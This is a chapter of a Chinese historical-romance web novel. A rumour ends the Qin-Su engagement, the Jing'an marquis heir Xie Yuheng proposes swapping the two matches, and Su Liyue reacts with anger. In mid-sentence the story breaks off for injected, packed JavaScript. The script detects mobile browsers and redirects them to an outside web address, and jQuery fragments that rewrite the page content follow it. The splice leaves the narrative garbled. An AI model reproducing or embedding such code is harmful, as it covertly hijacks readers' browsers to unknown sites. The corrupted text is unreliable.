流言像春天的野草，一旦生了根，便疯长起来。


    不知是谁先传出来——秦家公子与苏家大姑娘在护国寺后山私会，被香客撞见。说的人有鼻子有眼。


    消息传到苏府时，周氏正在花厅理事。嬷嬷附耳说了几句，她手中的茶盏“哐当”一声摔在地上，碎成几片，茶水溅了一地，洇湿了裙摆，褐色的茶渍在绛紫色布料上格外刺目。


    “胡说八道！”周氏厉声道，声音却发颤，像绷紧的弦，“谁在外头嚼舌根？给我查！”


    可流言这东西，越查越传，越压越凶。不到半日，满京城都知道了。


    苏明远从衙门回来，面色铁青，一言不发进了书房。


    片刻后，里头传来瓷器碎裂的声响，他摔了案上那只青瓷笔洗，碎片迸溅到门槛上，弹了几弹，滚到苏婉玉脚边。


    苏婉玉跪在地上，垂着头，一言不发。


    “你……”苏明远指着她，手指发颤，嘴唇哆嗦着，却说不出一个字。他转过身，背对着她，肩背剧烈起伏。


    许久，他才挤出一句，声音沙哑得几乎听不清：“回去！没有我的允许，不许出院门一步！”


    苏婉玉起身，福了福身，退出书房。走到门口时，她回头望了一眼父亲的佝偻背影。她想说什么，终究咽了回去。


    门在身后合上，发出沉闷声响。


    两日后，秦家突然登门。


    秦夫人来时，面色憔悴，眼下青黑一片，脂粉都遮不住那层灰败。


    她身着绛紫素面袄裙，发间只簪一支白玉簪，没有往日的张扬，整个人像褪了色的旧画，连步履都比往日沉重许多。


    周氏在花厅见她。两人屏退左右，门合上，屋内只剩她们二人。炭盆里的银霜炭烧得通红，热气蒸腾，可那份暖意怎么也驱不散两人之间的冷凝。


    秦夫人坐在椅上，手指绞着帕子，指节泛白。她张了张嘴，反复几回，才艰难开口，声音沙哑：“苏夫人，秦家……想退掉与二姑娘的婚事。”


    周氏虽早有预料，亲耳听见，仍觉天旋地转，像被人兜头浇了一盆冰水。


    她扶着桌角，指节泛白，好一会儿才稳住声音，那声音已不由自己：“为何？两家亲事早就说定，怎么说退就退？年节时你我还坐在一起商议婚期，如今——”


    秦夫人不敢看她，目光落在茶盏上，落在窗棂上，落在自己绞着帕子的手指上，就是不敢落在周氏脸上。


    她嘴唇翕动了几回，终于挤出一句，声音低得几乎听不见：“犬子不成器，实在配不上二姑娘。那些流言蜚语……秦家无颜再提婚事。”


    周氏盯着她，目光如刀，恨不能在她脸上剜出两个洞：“流言？什么流言？你家秦子墨与婉玉之事，秦夫人打算如何处理？”


    秦夫人面色更白，嘴唇哆嗦着，却说不出话。她当然知道那些流言，她早该制止两人。


    她想起苏璃月那张清冷面容，忽然觉得羞愧难当，秦子墨却……


    “秦家会对外说明，是犬子配不上二姑娘。”秦夫人声音低下去，几乎是从喉咙里挤出来的，“绝不会让二姑娘受半点委屈。聘礼照赔，两家面上……”


    “面上？”周氏冷笑一声，那笑声尖锐刺耳，“你们秦家闹出这等丑事，我女儿的名声还要不要？往后她怎么嫁人？谁愿娶她？”


    秦夫人无言以对，只低着头，手指绞着帕子，那方绫绢帕子已被绞得皱巴。


    花厅内陷入死寂。窗外日光透过窗棂洒进来，在地面投下斑驳光影，灰尘在光柱中浮动，无声无息，像无数细小的眼睛在看这场闹剧。


    正此时，管家在外头禀告，声音透着几分慌张：“夫人，靖安侯世子来了，说有事求见。”


    周氏心头一紧，像被人攥住了心脏。


    靖安侯世子——谢玉珩。他来做什么？莫非也是来退婚的？


    周氏眼中闪过惊惧。若靖安侯府也在这当口退婚，苏家就真的完了。


    两个女儿的婚事同时告吹，苏明远的仕途，苏家的脸面，全都保不住，沦为满京城的笑柄。


    “请，快去告知老爷。”周氏站起身，理了理衣襟，声音已恢复平静，可她的手在发抖，藏在袖中。


    谢玉珩踏入花厅时，周氏与秦夫人分坐两侧，中间隔着一张紫檀桌案，像两军对垒。


    他今日一身雨过天青色家常袍服，玉冠束发，眉目清俊，唇角含着温润笑意，看不出任何异样。


    向周氏规矩行礼，又向秦夫人颔首，举止从容。


    “世子今日来，有何贵干？”周氏请他坐下，亲手斟茶，茶汤碧绿，热气袅袅。


    谢玉珩接过茶盏，却不饮，搁在桌上，抬眸望向周氏，声音不疾不徐：“苏夫人，晚辈今日来，是为两家婚约之事。”


    周氏指尖一颤，茶壶嘴磕在杯沿，发出清脆响声。


    苏明远姗姗来迟，不过一个院子距离，额间却冒了汗，“世子，抱歉，恕老夫来迟了。”


    谢玉珩面色淡然，令人捉摸不透。。


    谢玉珩看了秦夫人一眼，又看向苏明远，缓缓道：“家母的意思，这亲事……”


    见谢玉珩略做停顿，苏明远立即歉疚道：“也是侯府抬爱，是我苏家教女无方，惹得侯府也沾上那些粗鄙之言。”


    谢玉珩好似没有听到苏明远的废话，淡淡开口，“三家换婚。”


    闻言，秦夫人讶异，可是因着错在秦子墨，她也不敢随意搭话。


    周氏怔住：“换婚？”


    “是。”谢玉珩端起茶盏，轻抿一口，放下，“谢、秦苏三家的婚约，从始至终没有过明处。外头只知道三家议亲，却不知具体情况。既然如此，何不将错就错？”


    苏明远也明白了他的意思，脸色微变，手指攥紧桌沿：“世子的意思是……”


    “既然秦公子与苏大姑娘两情相悦，”谢玉珩一字一句，声音不高，却字字清晰，“晚辈与苏二姑娘也算相识一场。两桩婚事，换个名字，皆大欢喜。”


    花厅内静得落针可闻。炭盆里银霜炭噼啪一声，爆出一朵火花，又归于沉寂。


    秦夫人望着谢玉珩，望着他面上云淡风轻，忽然想起前些日秦尚书回府时说的话——“谢玉珩那小子，不是善茬，他在朝中这些年，看着温润，底下全是刀。”


    她当时不以为然，觉得丈夫夸大其词，不过是个二十出头的年轻人，能有多大本事？如今才知丈夫说得轻了。这哪里是“不是善茬”，这是吃人不吐骨头。


    他早就算好了。


    不早不晚，恰到好处。像下棋，落子无声，却步步紧逼，逼到对手无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415449|194334||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    路可退。


    周氏沉默良久，像过了一辈子那么久。她转头看向秦夫人，声音已恢复平静，“秦夫人意下如何？”


    秦夫人张了张嘴，想说什么，却发现自己无话可说。


    谢玉珩提的方案，是眼下唯一能保全两家颜面的办法。若拒绝，秦苏两家撕破脸，那些见不得人的勾当被翻出来，谁也讨不了好。


    秦尚书的官位，苏明远的前程，两个女儿的名声，全都保不住。若答应，至少面上过得去，秦子墨娶了想娶的人，苏婉玉嫁了想嫁之人，苏璃月……


    她看了谢玉珩一眼，忽然明白了什么。


    这位靖安侯世子，从一开始，目标就不是苏婉玉。


    “侯夫人睿智，容我回去与老爷商议。”秦夫人站起身，声音沙哑。


    周氏想到两个女儿之事，冷声点头：“请便。”


    秦夫人匆匆离去，脚步慌乱，裙摆绊到门槛，踉跄了一下，险些摔倒。丫鬟扶住她，她推开丫鬟，头也不回地走了。


    花厅内只剩苏家夫妇与谢玉珩。


    周氏望着他，目光复杂，像要从那张温润的脸上看出什么破绽。


    “世子，”周氏一开口，就遭苏明远一记怒瞪，可她依旧开口，“你是何时看上璃月的？”


    谢玉珩端起茶盏，轻轻吹了吹浮叶，抿了一口，才缓缓道：“苏夫人，这不重要。”


    周氏一怔。


    谢玉珩放下茶盏，抬眸看她，眸光沉静如水，却深不见底，“靖安侯府向来重诺，也不会嫌弃二姑娘长年在外。”


    周氏望着他，终于叹了一声。那叹息里，有释然，有愧疚，还有说不清的酸涩。


    谢玉珩的话，他们夫妇二人都清楚，这是为苏璃月撑腰。


    也许，这样也好。


    至少，她不用再受苦了。


    消息传到锦绣苑时，已是傍晚。


    青黛从外头跑进来，气喘吁吁，脸颊绯红，眼中却带着掩不住的喜色，连发髻跑歪了都顾不上：“姑娘！姑娘！秦家来退婚了！”


    苏璃月正倚在榻上看书，闻言抬眸，眸光平静如水。


    青黛喘了口气，又道：“不是，不是退婚——是换婚！秦公子娶大姑娘，世子娶您！世子亲自来说的，夫人都应了。姑娘，您不用嫁去秦家了！”


    苏璃月手中的书卷“啪”地落在榻上。


    她盯着青黛，眸光一寸寸冷下去，像冬日湖面结冰，从边缘向中心蔓延。


    “你说什么？”她的声音很轻，轻得像风一吹就散，可青黛听出了里头压着的寒意。


    青黛从未见过姑娘这副模样，吓得退了一步，嗫嚅道：“换、换婚……世子娶您，秦公子娶大姑娘……”


    苏璃月闭上眼睛。


    胸口有东西在翻涌，像被囚禁的困兽，撞得肋骨生疼。


    他说会帮她，苏璃月以为他会想出什么法子来解除婚约，还她自由。


    到头来，又把自己搭进去。


    从秦家那个火坑，换到谢家这个冰窖——有什么区别？不过是换了个囚笼。


    她气极了，反倒笑了。


    那笑容落在青黛眼里，比哭还让人心慌。


    “好一个换婚。”苏璃月睁开眼，眸光幽冷如潭，“谢玉珩打得一手好算盘。”